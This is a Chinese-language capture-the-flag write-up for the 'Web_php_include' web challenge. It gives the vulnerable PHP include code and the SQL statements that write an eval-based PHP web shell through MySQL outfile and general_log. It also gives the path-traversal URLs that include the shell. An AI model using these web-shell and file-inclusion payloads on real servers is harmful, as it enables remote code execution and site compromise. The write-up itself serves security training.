0%

攻防世界web进阶部分writeup

攻防世界-web进阶-部分writeup

Web_php_include

首先打开题目:

1
2
3
4
5
6
7
8
9
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>

有文件包含,没拿到文件名,而且循环过滤,看起来绕过是不太容易。

上扫描器发现phpmyadmin:

1568474211041.png

尝试空密码登录成功:

1568475673813.png

有个test数据库但是是空的:

1568474375962.png

于是想到两个点可以拿shell:

  • 通过mysql的 outfile写入shell

  • 通过日志文件拿shell

试下第一种:

通过phpinfo.php文件查看web目录:

1568474907398.png

1
2
3
4
5
Drop TABLE IF EXISTS temp; //如果存在temp就删掉
Create TABLE temp(cmd text NOT NULL); //建立temp表,里面就一个cmd字段
Insert INTO temp (cmd) VALUES('<?php eval($_POST[cmd]); ?>'); //把一句话木马插入到temp表
Select cmd from temp into outfile '/var/www/shell.php'; //查询temp表中的一句话并把结果导入到shell.php
Drop TABLE IF EXISTS temp; //删除temp

执行第四行的时候报错:

1568475721502.png

没权限,换tmp目录,然后首页包含:

1568476024657.png

1568476050893.png

payload:

1
http://111.198.29.45:37211/index.php?page=../../../../tmp/payload.php

phpmyadmin通过日志拿shell:

1
2
3
set global general_log='on' 
set global general_log_file='/tmp/log.php'
select "<?php eval($_POST[cmd])?>"
1
http://111.198.29.45:37211/index.php?page=../../../../tmp/log.php

1568476369973.png